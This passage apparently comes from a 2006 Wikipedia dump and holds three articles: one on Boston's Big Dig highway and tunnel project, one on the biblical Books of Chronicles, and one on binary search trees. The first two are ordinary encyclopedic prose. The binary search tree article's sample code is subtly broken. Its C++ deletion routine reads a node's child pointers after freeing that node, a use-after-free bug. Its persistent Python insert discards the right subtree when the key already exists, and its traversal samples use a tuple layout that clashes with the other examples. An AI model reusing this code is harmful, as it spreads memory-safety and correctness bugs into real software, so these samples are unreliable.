The '''Big Dig''' is the unofficial name of the '''Central Artery/Tunnel Project''' ('''CA/T'''), a massive undertaking to route the [[Central Artery]] ([[Interstate 93]]), the chief [[freeway|controlled-access]] [[highway]] through the heart of [[Boston, Massachusetts]], into a 3.5 mile (5.6km) tunnel under the city, replacing a previous elevated roadway.  The project also included the construction of the [[Ted Williams Tunnel]] (extending [[Interstate 90]] to [[Logan International Airport]]) and the [[Zakim Bunker Hill Bridge]] over the [[Charles River]].

At the time, the Big Dig was the most expensive single highway project in American history.  When the last major highway section opened in [[December 2003]], over $14.6 billion had been spent in federal and state tax dollars.

==Historical background==

Boston's historically tangled streets were laid out long before the advent of automobiles. By mid-[[20th century]], car traffic in the inner city was extremely congested, with north-south trips especially so. Commissioner of Public Works [[William Callahan]] pushed through plans for an elevated expressway which eventually was constructed between the downtown area and the waterfront. This so-called [[Central Artery]] (also known as the: &quot;[[John F. Fitzgerald]] Expressway&quot;) displaced thousands of residents and businesses, produced an eyesore for those who remained, and physically divided the historical connection between the downtown and market areas and the waterfront. Governor [[John Volpe]] interceded in the [[1950]]s to send the last section of the Central Artery underground, through the [[Dewey Square]] (or &quot;[[South Station (Boston)|South Station]]&quot;) [[Dewey Square Tunnel|Tunnel]], but while traffic moved somewhat better the other problems remained. 

Built before strict federal [[Interstate Highway standards]] were developed during the [[Eisenhower]] administration, the expressway was plagued by tight turns, entrance ramps without merge lanes, and continually escalating vehicular loads. Local businesses and residents again wanted relief and historians sought a reuniting of the waterfront with the city. [[Massachusetts Institute of Technology|M.I.T.]] engineers Bill Reynolds and (eventual state Secretary of Transportation) [[Frederick P. Salvucci]] envisioned moving the whole expressway underground.

[[Image:Boston CAT Project-construction view from air.jpeg|left|frame|[[Zakim Bunker Hill Bridge]] over the Charles River under construction, looking north. The old elevated Central Artery crossing is to the right.]]

===Cancellation of the Inner Belt===
Another important motivation for the Big Dig in its final form was the abandonment of the Massachusetts Highway Department's intended expressway system through and around Boston. The Central Artery, as part of MassHighway's Master Plan of 1948, was originally planned to be (and signed as) the downtown Boston stretch of [[Interstate 95]], with a bypass road called the Inner Belt (officially [[Interstate 695 (Massachusetts)|Interstate 695]]) to pass around the downtown core to the west, through the neighborhood of [[Roxbury, Massachusetts|Roxbury]] and the cities of [[Brookline, Massachusetts|Brookline]], [[Cambridge, Massachusetts|Cambridge]] and [[Somerville, Massachusetts|Somerville]]. However, earlier controversies over impact of the [[Massachusetts Turnpike]] Boston extension, particularly on the heavily populated neighborhood of [[Brighton, Boston, Massachusetts|Brighton]], and the large number of additional homes that would have had to be destroyed led to massive community opposition to both the Inner Belt and the Boston section of I-95. 

Clearances for I-95 through the neighborhoods of Roxbury, [[Jamaica Plain, Massachusetts|Jamaica Plain]], and [[Roslindale, Boston, Massachusetts|Roslindale]] led to secession threats by [[Hyde Park, Massachusetts|Hyde Park]], Boston's southernmost neighborhood (and the most recently consolidated neighborhood, having been added to the city in [[1912]]). By [[1972]], however, with only a minimum of work done on the I-95 right of way and none on the potentially massively disruptive Inner Belt, Governor [[Francis Sargent]] put a moratorium on almost all highway construction within the [[Massachusetts Route 128|MA-128]] corridor, except for a short stretch of [[Interstate 93]]. In [[1974]] the remainder of the Master Plan was canceled, leaving Boston with a severely overstressed expressway system. With ever-increasing traffic volumes funneled onto I-93 alone, the Central Artery became chronically gridlocked. The Sargent moratorium led to the rerouting of I-95 away from Boston around the MA-128 beltway and the conversion of the cleared land in the southern part of the city into the Southwest Corridor linear park and a new right of way for the [[Orange Line (MBTA)|Orange Line]] subway and [[Amtrak]]. Parts of the planned I-695 right of way remain unused and under consideration for future mass transit projects.

The original 1948 Master Plan included a Third Harbor Tunnel plan that was hugely controversial in its own right because it would have disrupted the Maverick Square area of East Boston. It was never built.

===Commingling of traffic===
A major reason for the all-day congestion was that the Central Artery carried not only north-south traffic, but much east-west traffic as well. Boston's Logan Airport lies across [[Boston Harbor]] in [[East Boston, Massachusetts|East Boston]], and before the Big Dig, the only access from downtown was through the paired [[Callahan Tunnel|Callahan]] and [[Sumner Tunnel|Sumner]] tunnels. Traffic on the major highways from west of Boston, the [[Massachusetts Turnpike]] and Storrow Drive, mostly traveled on portions of the Central Artery to reach these tunnels. Getting between the Central Artery and the tunnels involved short stretches on city streets, increasing local congestion. 

The final Big Dig plan, then, combined several projects&amp;mdash;the depression and improvement of the Central Artery, the construction of a third Harbor tunnel (now known as the [[Ted Williams Tunnel]]), and massive interchange improvements to the Massachusetts Turnpike and several other major routes in the area. While only one net lane in each direction was added to the north-south I-93, several new east-west lanes were added to untangle the traffic. East-west traffic on the Massachusetts Turnpike now proceeds directly through the Ted Williams Tunnel to Logan Airport and Route 1A beyond, with new exits in South Boston along the way. Traffic between Storrow Drive and the Callahan and Sumner Tunnels uses a short portion of I-93, but additional lanes and direct connections are provided for this traffic.

===Mass transit===
A number of [[public transportation]] projects were included as part of an [[environmental mitigation]] for the Big Dig. Perhaps the most ambitious was the building of the Phase II [[Silver Line (MBTA)|Silver Line]] tunnel under Fort Point Channel, done in coordination with Big Dig construction. Silver Line buses now use this tunnel and the Ted Williams Tunnel to link [[South Station]] and Logan Airport. Several other mitigation transit projects promised have not been completed as of 2005 and litigation has been threatened.

Yet another plan, the [[North-South_Rail_Link|North-South Rail Link]] that would have connected North and South Stations, the major passenger train stations in Boston, was part of the original Big Dig but was ultimately dropped by the [[Michael Dukakis|Dukakis]] administration as an impediment to acquiring Federal funding for the project.

==Early planning==
The project was conceived in the [[1970s]] to replace the rusting elevated six-lane expressway (officially the [[John F. Fitzgerald]] Expressway) that separated downtown from the waterfront, and which was increasingly choked with bumper-to-bumper traffic.  Business leaders were more concerned about access to Logan Airport, and pushed instead for a third harbor tunnel.  In their second terms as governor and secretary of transportation, respectively, [[Michael Dukakis]] and Salvucci, came up with the strategy of tying the two projects together&amp;mdash;thereby combining the project that the business community supported with the project that they and the City of Boston supported.

Planning for the Big Dig officially began in [[1982]], with environmental impact studies starting in 1983.  After years of extensive lobbying for federal dollars, a [[1987]] public works bill appropriating funding for the Big Dig was passed by [[Congress of the United States|U.S. Congress]], but it was subsequently vetoed by President [[Ronald Reagan]] as being too expensive.  When Congress overrode his veto, the project had its green light and ground was first broken in [[1991]].&lt;ref&gt;Dan McNichol and Andy Ryan, ''The Big Dig''. Silver Lining Press, 1991&lt;/ref&gt;

==Major obstacles==
In addition to these political and financial difficulties, the project faced several environmental and engineering obstacles.

The downtown area through which the tunnels were to be dug was largely landfill, and included existing subway lines and innumerable pipes and utility lines.  Before excavation could begin for the tunnels, the lines had to be replaced or moved.  Tunnel workers encountered many unexpected barriers, ranging from glacial debris to foundations of buried houses and a number of sunken ships lying within the reclaimed land.

The project received approval from state environmental agencies in 1991, after satisfying concerns including release of toxins by the excavation and the possibility of disrupting the homes of millions of rats, and causing them to roam the streets of Boston in search of new housing. By the time the federal environmental clearances were delivered in [[1994]], the process had taken some seven years, during which time inflation greatly increased the project's original cost estimates.

Reworking such a busy corridor without seriously restricting traffic flow required a number of state-of-the-art construction techniques.  Because the old elevated highway (which remained in operation throughout the construction process) rested on pylons located throughout the designated dig area, engineers first utilized [[slurry wall]] techniques to create 120 ft.-deep concrete walls upon which the highway could rest.  These concrete walls also stabilized the sides of the site, preventing cave-ins during the excavation process.

Other challenges included an existing subway tunnel crossing the path of the underground highway.  In order to build [[slurry]] walls past this tunnel, it was necessary to dig beneath the tunnel and build an underground concrete bridge to support the tunnel's weight.

==Construction phase==
The Central Artery/Tunnel Project was managed by the [[Massachusetts Turnpike]] Authority with design and construction supervised by a joint venture of [[Bechtel Corporation]] and [[Parsons Brinckerhoff]].  Due to the enormous size of the project&amp;mdash;too large for any company to undertake alone&amp;mdash;the design and construction of the Big Dig were broken up into dozens of smaller subprojects with well-defined interfaces between contractors.  Major heavy-construction contractors on the project included [[Jay Cashman]], [[Modern Continental]], [[Obayashi Corporation]], [[Perini Corporation]], [[Peter Kiewit Sons']],&lt;!-- yes, it really is spelled that way, per company web site --&gt; [[J.F. White]], and the Slattery division of [[Skanska]] USA.  (Of those, Modern Continental was awarded the greatest gross value of contracts, joint ventures included.) 

The nature of the [[Charles River]] crossing had been a source of major controversy throughout the design phase of the project.  Many environmental advocates preferred a river crossing entirely in tunnels, but this, along with 27 other plans, was rejected as too costly.  Finally, with a deadline looming to begin construction on a separate project that would connect the [[Tobin Bridge]] to the Charles River crossing, Salvucci overrode the objections and chose a variant of the plan known as &quot;Scheme Z&quot;.  This plan was considered to be reasonably cost-effective, but had the drawback of requiring highway ramps stacked up as high as 100 feet (30 m) immediately adjacent to the Charles River.
&lt;!-- Image with unknown copyright status removed: [[Image:BostonBIGDIGplan.JPG|thumb|right|450px|The Big Dig master plan.]] --&gt;
The city of [[Cambridge, Massachusetts|Cambridge]], objecting to the visual impact of the chosen Charles River crossing design, sued to revoke the project's environmental certificate, and force the project to redesign the river crossing yet again.  Meanwhile, construction continued on the Tobin Bridge approach.  By the time the I-93 design was finally settled to the satisfaction of all parties, the construction of the Tobin connector (today known as the &quot;City Square Tunnel&quot; after the intersection in [[Charlestown, Boston, Massachusetts|Charlestown]] which it bypasses) was already so far along that significant additional expense would be incurred to stage construction of the [[U.S. Highway 1|US 1]]-to-[[Interstate 93|I-93]] interchange and eventually retrofit the tunnel; in the new design, not all of the traffic movements originally envisioned would be possible.

Boston blue [[clay]] and other soils extracted from the path of the tunnel was used to cap many local [[landfill]]s, fill in the [[Granite Rail Quarry]] in [[Quincy, Massachusetts|Quincy]], and restore the surface of [[Spectacle Island, Massachusetts|Spectacle Island]] in the [[Boston Harbor Islands National Recreation Area]].

The [[Zakim Bunker Hill Bridge]], designed by Swiss designer [[Christian Menn]], represents the terminus of the project, connecting the underground highway with I-93 and US 1.  A distinctive [[cable-stayed bridge]], the crossing is supported by two forked towers, which are connected to the span by cables and girders.

Similar issues occurred with the Leverett Circle Connector, a companion bridge to the Zakim that carries traffic from [[Interstate 93]] to Storrow Drive along the Charles River. The project had been under consideration for many years, opposed largely by the residents of Boston's wealthy Beacon Hill neighborhood, and finally came to fruition as a way to funnel the traffic bound for Storrow Drive and the northern part of downtown Boston away from the mainline roadway. Ultimately the Leverett Connector wound up using a pair of ramps originally constructed for [[Interstate 695 (Massachusetts)|Interstate 695]], ironically making it possible for the mainline I-93 to carry more of the through traffic that&lt;!--typo for than?--&gt; was supposed to use I-695 in the original Master Plan.

At the time construction began, the whole project (including the Charles River crossing) was projected to cost $5.8 billion. Eventual cost overruns were so high that the chairman of the [[Massachusetts Turnpike]] Authority, [[James Kerasiotes]], was fired in [[2000]] and his replacement had to commit to a cap in federal contributions of $8.549 billion. Total expenses to date have surpassed $15 billion.

==The project today==
[[Image:Tunnel-large.jpg|thumb|right|Interstate I-93 Tunnel]]

On [[January 17]], [[2003]], the opening ceremony was held for the I-90 Connector Tunnel, extending the [[Massachusetts Turnpike]] ([[Interstate 90]]) east into the [[Ted Williams Tunnel]], and onwards to Logan Airport. (The Williams tunnel had been completed and in limited use for commercial traffic and [[high-occupancy vehicle]]s since late [[1995]].)  The westbound lanes opened on the afternoon of [[January 18]] and the eastbound lanes on [[January 19]]. 

The next phase, moving the elevated [[Interstate 93]] underground, was completed in two stages: northbound lanes opened in March 2003 and  southbound lanes (in a temporary configuration) on [[December 20]], 2003.  A tunnel underneath Leverett Circle connecting eastbound Storrow Drive to I-93 North and the Tobin Bridge opened [[December 19]], [[2004]], easing congestion at the circle.  All southbound lanes of I-93 opened to traffic on [[March 5]], [[2005]], including the left lane of the Zakim Bridge, and all of the refurbished [[Dewey Square Tunnel]].

By the end of December 2004, 95% of the Big Dig was completed.  Major construction remained on the surface, including construction of final ramp configurations in the [[North End, Boston, Massachusetts|North End]] and in the [[South Bay, Boston, Massachusetts|South Bay]] interchange, and reconstruction of the surface streets. Many impact-mitigation projects (transit, pedestrian, bicycle, and parks) also remain, but some are in danger of cancellation due to cost overruns on the rest of the project.

In late [[2004]], leaks sprouted in the tunnel. Minor ones resulted from gaps in the roof of the tunnel; major ones from structural weaknesses in the tunnel walls, which lie below the [[water table]]. Many of the leaks are a result of [[Modern Continental]] and other subcontractors failing to remove gravel or other debris before pouring concrete. [[Bechtel]]/Parsons Brinkerhoff is blamed for failing to detect and fix the problem during construction. The two companies are responsible for finding and repairing the leaks, mostly at their own expense, and this work is ongoing.

On [[August 11]], [[2005]], it was announced that the [[Massachusetts State Police]] searched the offices of the Big Dig's largest concrete supplier in June and found evidence of faked records that hid the poor quality of concrete delivered for highway project. However, it is not believed that the low-quality concrete is connected to the hundreds of leaks discovered in the tunnels that take vehicles under Boston.

The final ramp downtown - exit 20B from I-93 south to [[Albany Street (Boston)|Albany Street]] - opened [[January 13]], [[2006]].&lt;ref&gt;Casey Ross, [http://news.bostonherald.com/localRegional/view.bg?articleid=121276 Hallelujah Hub drivers! Last Big Dig ramp done], [[Boston Globe]] [[January 14]], [[2006]]&lt;/ref&gt;

The Big Dig has led to a marked reduction in [[gridlock]].  The combination of the Mass Pike extension to the Ted Williams Tunnel and the extensive use of feeder roads to remove interchange traffic from the mainline has drastically reduced the headaches of Boston highway traffic.

==Trivia==

* The total amount of earth excavated is 15 million cubic yards (11 million m&amp;sup3; or 540,000 truckloads of dirt).
* Enough steel (25,800 m&amp;sup3;) was used in the project to make a one-inch steel bar long enough to wrap around the earth (24900 miles).  &lt;!-- This metric conversion assumes that a one-by-one steel bar was meant, but in the absence of a source I can't check this, and the quantity should really be measured in units of mass, i.e., kilograms. --&gt;
* The [[Zakim Bunker Hill Bridge]] has seven main-line travel lanes, plus a two-lane entrance ramp cantilevered off the east side, making it the widest cable-stayed bridge in the world.

==References==
&lt;references/&gt;

== External links ==
*[http://www.masspike.com/bigdig/index.html Official site]
*[http://libraries.mit.edu/rotch/artery/ Boston CA/T Project History at MIT Rotch Library]
*[http://www.bostonroads.com Steve Anderson's BostonRoads.com]
*[http://www.pbs.org/wgbh/buildingbig/wonder/structure/central_artery.html PBS.org] &amp;ndash; Central Artery

[[Category:Tunnels in Massachusetts]]
[[Category:Transportation in Boston]]</text>
    </revision>
  </page>
  <page>
    <title>Books of Chronicles</title>
    <id>4319</id>
    <revision>
      <id>37936673</id>
      <timestamp>2006-02-03T01:59:03Z</timestamp>
      <contributor>
        <ip>212.242.162.151</ip>
      </contributor>
      <comment>blank line</comment>
      <text xml:space="preserve">:''(&quot;Book of Chronicles&quot; is also an alternate name for the [[Nuremberg Chronicle]] of [[1493]])''
{{Books of the Old Testament}}
{{Books of Ketuvim}}
The '''Book of Chronicles''' is a book in the [[Hebrew Bible]] (also see [[Old Testament]]). It was originally written as one book, but in the Septuagint (LXX), the book appears in two parts, and in the fifteenth century, it began appearing in two parts in Hebrew Bibles. This division into two parts may be in accordance with more manageable [[scroll (parchment)|scroll]] sizes, and thus in Christian bibles it is usually published in two parts, ''I Chronicles'' and ''II Chronicles''. 

In [[Hebrew language|Hebrew]] the title of this book is ''Divre Hayyamim'', i.e., &quot;History of the Days.&quot;  [[Jerome]], in his [[Latin]] translation of the Bible ([[Vulgate]]), titled this book ''Chronicon''; in English this word translates as &quot;Chronicles.&quot;

In the [[Greek language|Greek]] [[Septuagint]] the book is also divided into two parts; here it bears the title ''Paraleipomêna'', i.e., &quot;things omitted,&quot; or &quot;supplements,&quot; because it contains details not found in the [[Books of Samuel]] and the [[Books of Kings]]. In the [[Douai Bible]] translation the books are accordingly styled the &quot;Books of Paralipomenon.&quot; 

Some divide the book into four parts:
#The first nine chapters of Book I contain a list of [[genealogy|genealogies]] in the line of [[Kingdom of Israel|Israel]] down to the time of King [[David]]. 
#The remainder of the first book contains a history of the reign of David. 
#The first nine chapters of Book II contain the history of the reign of King [[Solomon]]. 
#The remaining chapters of the second book contain the history of the separate [[Kingdom of Judah]] to the time of the return from [[Babylonian exile]].
Others, though, divide the book into three parts, combining the sections treating David and Solomon since they represented rule over all the tribes of Israel.

The time of the composition of the Chronicles is believed to have been subsequent to the Babylonian Captivity, probably between [[450 BC|450]] and [[435 BC|435 B.C.]]. The contents of this twofold book, both as to matter and form, correspond closely with this idea. The close of the book records the proclamation of [[Cyrus the Great]] permitting the [[Jew]]s to return to their own land, and this forms the opening passage of the [[Book of Ezra]], which is viewed as a continuation of the Chronicles, together with the [[Book of Nehemiah]]. The peculiar form of the language, being Hebrew in vocabulary but Aramaean in its general character, harmonizes also with that of the other books which were written after the Exile.  The author was likely contemporary with [[Zerubbabel]], details of whose family history are given (1 Chronicles 3:19).

According to Jewish tradition, [[Ezra]] the scribe was regarded as the author of Chronicles. There are many points of resemblance between Chronicles and the Book of Ezra which seem to confirm this opinion. The conclusion of the one and the beginning of the other are almost identical in expression. 

In their general scope and design these books are not so much historical as didactic. The principal aim of the writer appears to be to present moral and religious truth. He does not give prominence to political occurrences, as is done in [[Books of Samuel|Samuel]] and [[Books of Kings|Kings]], but to religious institutions, such as the details of the temple service. &quot;The genealogies, so uninteresting to most modern readers, were really an important part of the public records of the Hebrew state. They were the basis on which not only the land was distributed and held, but the public services of the [[Temple in Jerusalem|temple]] were arranged and conducted, the [[Levite]]s and their descendants alone, as is well known, being entitled and first fruits set apart for that purpose.&quot; The Chronicles are an epitome of the sacred history from the days of [[Adam and Eve|Adam]] down to the return from Babylonian Exile, a period of about 3,500 years. The writer gathers up &quot;the threads of the old national life broken by the Captivity.&quot; In the Hebrew bible, where the book of Chronicles is usually the last book, it can be said to fulfil a role similar to the end credits of a modern movie: To mention all those also-rans without whom the preceding wouldn't have been possible.

The sources whence the chronicler compiled his work were public records, registers, and genealogical tables belonging to the Jews. These are referred to in the course of the book (1 Chr. 27:24; 29:29; 2 Chr. 9:29; 12:15; 13:22; 20:34; 24:27; 26:22; 32:32; 33:18, 19; 27:7; 35:25). There are in Chronicles, and the books of Samuel and Kings, forty parallels, often verbal, proving that the writer of Chronicles both knew and used those other books (1 Chr. 17:18; comp. [[Books of Samuel|2 Samuel]] 7:18-20; 1 Chr. 19; comp. [[Books of Samuel|2 Samuel]] 10, etc.).

As compared with Samuel and Kings, the Book of Chronicles omits many particulars there recorded (2 Sam. 6:20-23; 9; 11; 14-19, etc.), and includes many things peculiar to itself (1 Chr. 12; 22; 23-26; 27; 28; 29, etc.). Often the Chronicles paint a somewhat more positive picture of the same events, in comparison to the (compared to other books of their time) unusually critical books of Samuel and Kings. This corresponds to their time of composition: Samuel and Kings were probably completed during the exile, at a time when the history of the freshly wiped out Hebrew kingdoms was still fresh in the mind of the writers, and it was largely considered a colossal failure. The Chronicles, on the other hand, were written much later, after the restitution of the Jewish community in Palestine, at a time when the kingdoms were beginning to be regarded as the nostalgic, rosy-coloured past, something to be at least partially imitated, not something to be avoided.

In general, modern scholars consider Samuel and Kings, which were written earlier, to provide more reliable history than Chronicles.

Twenty whole chapters of the Chronicles, and twenty-four parts of chapters, are occupied with matters not found elsewhere. It also records many things in fuller detail, as (e.g.) the list of David's heroes (1 Chr. 12:1-37), the removal of the [[ark of the covenant|ark]] from Kirjath-jearim to [[Mount Zion]] (1 Chr. 13; 15:2-24; 16:4-43; comp. 2 Sam. 6), [[Uzziah]]'s ''[[tzaraas]]'' (commonly translated as &quot;[[leprosy]]&quot;) and its cause (2 Chr. 26:16-21; comp. 2 Kings 15:5), etc.

It has also been observed that another peculiarity of the book is that it substitutes more modern and more common expressions for those that had then become unusual or obsolete. This is seen particularly in the substitution of modern names of places, such as were in use in the writer's day, for the old names; thus [[Gezer]] (1 Chr. 20:4) is used instead of [[Gob]] (2 Sam. 21:18), etc.

The Books of Chronicles are ranked among the ''Kethubim'', the third section of the [[Tanach]], and they usually occupy the final position in Hebrew bibles, although some Hebrew bibles place Chronicles at the first of the Kethubim. They are alluded to, though not directly quoted, in the [[New Testament]] ([[Epistle to Hebrews|Hebrews]] 5:4; [[Gospel of Matthew|Matthew]] 12:42; 23:35; [[Gospel of Luke|Luke]] 1:5; 11:31, 51).

==External links==
*[[Judaism|Jewish]] translations:
** [http://www.chabad.org/library/archive/LibraryArchive2.asp?AID=15776 Divrei Hayamim I - Chronicles I (Judaica Press)] translation with [[Rashi]]'s commentary at Chabad.org  
** [http://www.chabad.org/library/archive/LibraryArchive2.asp?AID=15777 Divrei Hayamim II - Chronicles II (Judaica Press)] translation with [[Rashi]]'s commentary at Chabad.org  

*[[Christian]] translations:
** [http://www.anova.org/sev/htm/hb/13_1chronicles.htm ''1 Chronicles'' at The Great Books] (New Revised Standard Version)
** [http://www.anova.org/sev/htm/hb/14_2chronicles.htm ''2 Chronicles'' at The Great Books] (New Revised Standard Version)
** {{biblegateway|1|Chronicles}}
** {{biblegateway|2|Chronicles}}
** [http://en.wikisource.org/wiki/Bible%2C_King_James%2C_1_Chronicles ''1 Chronicles'' at Wikisource] (Authorised King James Version)
** [http://en.wikisource.org/wiki/Bible%2C_King_James%2C_2_Chronicles ''2 Chronicles'' at Wikisource] (Authorised King James Version)

*[http://www.newadvent.org/cathen/11472a.htm Catholic Encyclopedia article]

----
{{eastons}}

[[Category:Ketuvim|Chronicles, Books of]]
[[Category:Old Testament books|Chronicles]]

[[de:1. Buch der Chronik]]
[[fr:Premier livre des Chroniques]]
[[ko:역대기 상]]
[[id:1 Tawarikh]]
[[he:דברי הימים]]
[[jv:I Babad]]
[[nl:I en II Kronieken]]
[[ja:歴代誌]]
[[sk:Knihy kroník]]
[[fi:Ensimmäinen aikakirja]]
[[sv:Första Krönikeboken]]
[[zh:歷代志]]</text>
    </revision>
  </page>
  <page>
    <title>Binary search tree</title>
    <id>4320</id>
    <revision>
      <id>42120552</id>
      <timestamp>2006-03-03T23:26:26Z</timestamp>
      <contributor>
        <ip>69.160.215.92</ip>
      </contributor>
      <comment>/* Searching */</comment>
      <text xml:space="preserve">[[Image:Binary_search_tree.svg|right|150px|thumb|A binary search tree of size 9 and depth 3, with root 7 and leaves 1, 4, 7 and 13. ]]
In [[computer science]], a '''binary search tree''' ('''BST''') is a [[binary tree]](each node can have up to two successor nodes ), where every node has a value, every [[node (computer science)|node]]'s left subtree contains only values less than or equal to the node's value, and every node's right subtree contains only values that are greater than or equal. The major advantage of binary search trees is that the related [[Sort algorithm]]s and [[search algorithm]]s can be very efficient, like [[in-order traversal]]. 

Binary search trees are a fundamental data structure used to construct more abstract data structures such as [[set data structure|set]]s, [[multiset]]s, and [[associative array]]s.

We may or may not choose to allow duplicate values in a BST; if we do, it represents a multiset, and inequalities for the left and right subtrees above are non-strict (they have ''or equal to''). If we do not, the inequalities can be taken as strict, and insertion operations must be modified to fail if the value being inserted is already present; in this case the BST represents a set with unique values, like the mathematical [[set]]. Yet other definitions use a non-strict inequality on only one side, which allows duplicate values but limits how well a tree with many duplicate values can be balanced.

== Operations ==

=== Searching ===

Searching a binary tree for a specific value is a recursive process that we can perform due to the ordering it imposes. We begin by examining the root. If the value equals the root, the value exists in the tree. If it is less than the root, then it must be in the left subtree, so we recursively search the left subtree in the same manner. Similarly, if it is greater than the root, then it must be in the right subtree, so we recursively search the right subtree in the same manner. If we reach an external node, then the item is not where it would be if it were present, so it does not lie in the tree at all. A comparison may be made with [[binary search]], which operates in nearly the same way but using random access on an array instead of following links.

Here is the search algorithm in the [[Python programming language]]:

 '''def''' search_binary_tree(node, key):
     '''if''' node '''is''' None:
         '''return''' None  # failure
 
     '''if''' key &lt; node.key:
         '''return''' search_binary_tree(node.left, key)
     '''elif''' key &gt; node.key:
         '''return''' search_binary_tree(node.right, key)
     '''else''':
         '''return''' node.value

This operation requires [[Big O notation|O]](log ''n'') time in the average case, but needs [[Big O notation|O]](''n'') time in the worst-case, when the unbalanced tree resembles a linked list.

=== Insertion ===

Insertion begins with a search; we search for the value, but if we do not find it, we search the left or right subtrees as before. Eventually, we will reach an external node, and we add the value at that position. In other words, we examine the root and recursively insert the new node to the left subtree if the new value is less than or equal the root, or the right subtree if the new value is greater than the root.

Here's how a typical binary search tree insertion might be performed in C++:

 '''void''' InsertNode(struct node*&amp; node, struct node* newNode) {
     '''if''' (node == '''NULL''')
         node = newNode;
     '''else if''' (newNode-&gt;value &lt;= node-&gt;value)
         InsertNode(node-&gt;left, newNode);
     '''else if''' (newNode-&gt;value &gt;  node-&gt;value)
         InsertNode(node-&gt;right, newNode);
 }

The above &quot;destructive&quot; procedural variant modifies the tree in place. It uses only constant space, but the previous version of the tree is lost. Alternatively, as in the following Python example, we can reconstruct all ancestors of the inserted node; any reference to the original tree root remains valid, making the tree a [[persistent data structure]]:

 '''def''' binary_tree_insert(node, key, value):
     '''if''' node '''is''' None:
         '''return''' TreeNode(None, key, value, None)
 
     '''if''' key == node.key:
         '''return''' TreeNode(node.left, key, value, None)
     '''if''' key &lt; node.key:
         '''return''' TreeNode(binary_tree_insert(node.left, key, value), node.key, node.value, node.right)
     '''else''':
         '''return''' TreeNode(node.left, node.key, node.value, binary_tree_insert(node.right, key, value))

The part that is rebuilt uses &amp;Theta;(log ''n'') space in the average case and &amp;Omega;(''n'') in the worst case (see [[big-O notation]]).

In either version, this operation requires time proportional to the height of the tree in the worst case, which is [[Big O notation|O]](log ''n'') time in the average case over all trees, but &amp;Omega;(''n'') time in the worst case.

Another way to explain insertion is that in order to insert a new node in the tree, its value is first compared with the value of the root. If its value is less than the root's, it is then compared with the value of the root's left child. If its value is greater, it is compared with the root's right child. This process continues, until the new node is compared with a leaf node, and then it is added as this node's right or left child, depending on its value.

=== Deletion ===

There are several cases to be considered:

* '''Deleting a leaf:''' Deleting a node with no children is easy, as we can simply remove it from the tree.
* '''Deleting a node with one child:''' Delete it and replace it with its child.
* '''Deleting a node with two children:''' Suppose the node to be deleted is called ''N''. We replace the value of N with either its in-order successor (the left-most child of the right subtree) or the in-order predecessor (the right-most child of the left subtree).

&lt;center&gt;
[[Image:binary_search_tree_delete.svg|Deleting a node with two children from a binary search tree]]
&lt;/center&gt;

Once we find either the in-order successor or predecessor, swap it with N, and then delete it. Since either of these nodes must have less than two children (otherwise it cannot be the in-order successor or predecessor), it can be deleted using the previous two cases. In a good implementation, it is generally recommended to avoid consistently using one of these nodes, because this can unbalance the tree.

Here is C++ sample code for a destructive version of deletion (we assume the node to be deleted has already been located using search):

 '''void''' DeleteNode(struct node*&amp; node) {
     '''if''' (node-&gt;left == '''NULL''') {
         delete node;
         node = node-&gt;right;
     } '''else if''' (node-&gt;right == '''NULL''') {
         delete node;
         node = node-&gt;left;
     } '''else''' {
         ''// Node has two children - get max of left subtree''
         struct node*&amp; temp = node-&gt;left;
         '''while''' (temp-&gt;right != '''NULL''') {
             temp = temp-&gt;right;
         }
         node-&gt;value = temp-&gt;value;
         DeleteNode(temp);
     }
 }

Although this operation does not always traverse the tree down to a leaf, this is always a possibility; thus in the worst case, it requires time proportional to the height of the tree. It does not require more even when the node has two children, since it still follows a single path and visits no node twice.

=== Traversal ===

Once the binary search tree has been created, its elements can be retrieved [[in-order traversal|in order]] by recursively traversing the left subtree, visiting the root, then recursively traversing the right subtree. The tree may also be traversed in [[pre-order traversal|pre order]] or [[post-order traversal|post order]] traversals.

&lt;pre&gt;
def traverse_binary_tree(treenode):
    if treenode is None: return
    left, nodevalue, right = treenode
    traverse_binary_tree(left)
    visit(nodevalue)
    traverse_binary_tree(right)
&lt;/pre&gt;

Traversal requires &amp;Omega;(''n'') time, since it must visit every node. This algorithm is also O(''n''), and so asymptotically optimal.

=== Sort ===

A binary search tree can be used to implement a simple but inefficient [[sort algorithm]]. Similar to [[insertion sort]], we insert all the values we wish to sort into a new ordered data structure, in this case a binary search tree, then traverse it in order, building our result:

&lt;pre&gt;
def build_binary_tree(values):
    tree = None
    for v in values:
        tree = binary_tree_insert(tree, v)
    return tree

def traverse_binary_tree(treenode):
    if treenode is None: return []
    else:
        left, value, right = treenode
        return (traverse_binary_tree(left) + [value] + traverse_binary_tree(right))
&lt;/pre&gt;            

The worst-case time of &lt;tt&gt;build_binary_tree&lt;/tt&gt; is &amp;Omega;(''n''&lt;sup&gt;2&lt;/sup&gt;) &amp;mdash; if you feed it a sorted list of values, it chains them into a [[linked list]] with no left subtrees.  For example, &lt;tt&gt;build_binary_tree&lt;/tt&gt;([1, 2, 3, 4, 5]) yields the tree (None, 1, (None, 2, (None, 3, (None, 4, (None, 5, None))))). 

There are a variety of schemes for overcoming this flaw with simple binary trees; the most common is the [[self-balancing binary search tree]]. If this same procedure is done using such a tree, the overall worst-case time is [[Big O notation|O]](''n''log ''n''), which is [[asymptotically optimal]] for a [[comparison sort]]. In practice, the poor cache performance and added overhead in time and space for a tree-based sort (particularly for node allocation) makes it inferior to other asymptotically optimal sorts such as [[quicksort]] and [[heapsort]] for static list sorting. On the other hand, it is one of the most efficient methods of ''incremental sorting'', adding items to a list over time while keeping the list sorted at all times.

== Types of binary search trees ==

There are many types of binary search trees. [[AVL tree]]s and [[red-black tree]]s are both forms of [[self-balancing binary search tree]]s. A [[splay tree]] is a binary search tree that automatically moves frequently accessed elements nearer to the root. In a [[treap]] (&quot;tree [[heap (data structure)|heap]]&quot;), each node also holds a priority and the parent node has higher priority than its children.

=== Optimal binary search trees ===

If we don't plan on modifying a search tree, and we know exactly how often each item will be accessed, we can construct an '''optimal binary search tree''', which is a search tree where the average cost of looking up an item (the ''expected search cost'') is minimized.

Assume that we know the elements and that for each element, we know the proportion of future lookups which will be looking for that element. We can then use a [[dynamic programming]] solution, detailed in section 15.5 of ''Introduction to Algorithms'', to construct the tree with the least possible expected search cost.

Even if we only have estimates of the search costs, such a system can considerably speed up lookups on average. For example, if you have a BST of English words used in a [[spell checker]], you might balance the tree based on word frequency in text corpuses, placing words like &quot;the&quot; near the root and words like &quot;agerasia&quot; near the leaves. Such a tree might be compared with [[Huffman tree]]s, which similarly seek to place frequently-used items near the root in order to produce a dense information encoding; however, Huffman trees only store data elements in leaves.

== See also ==
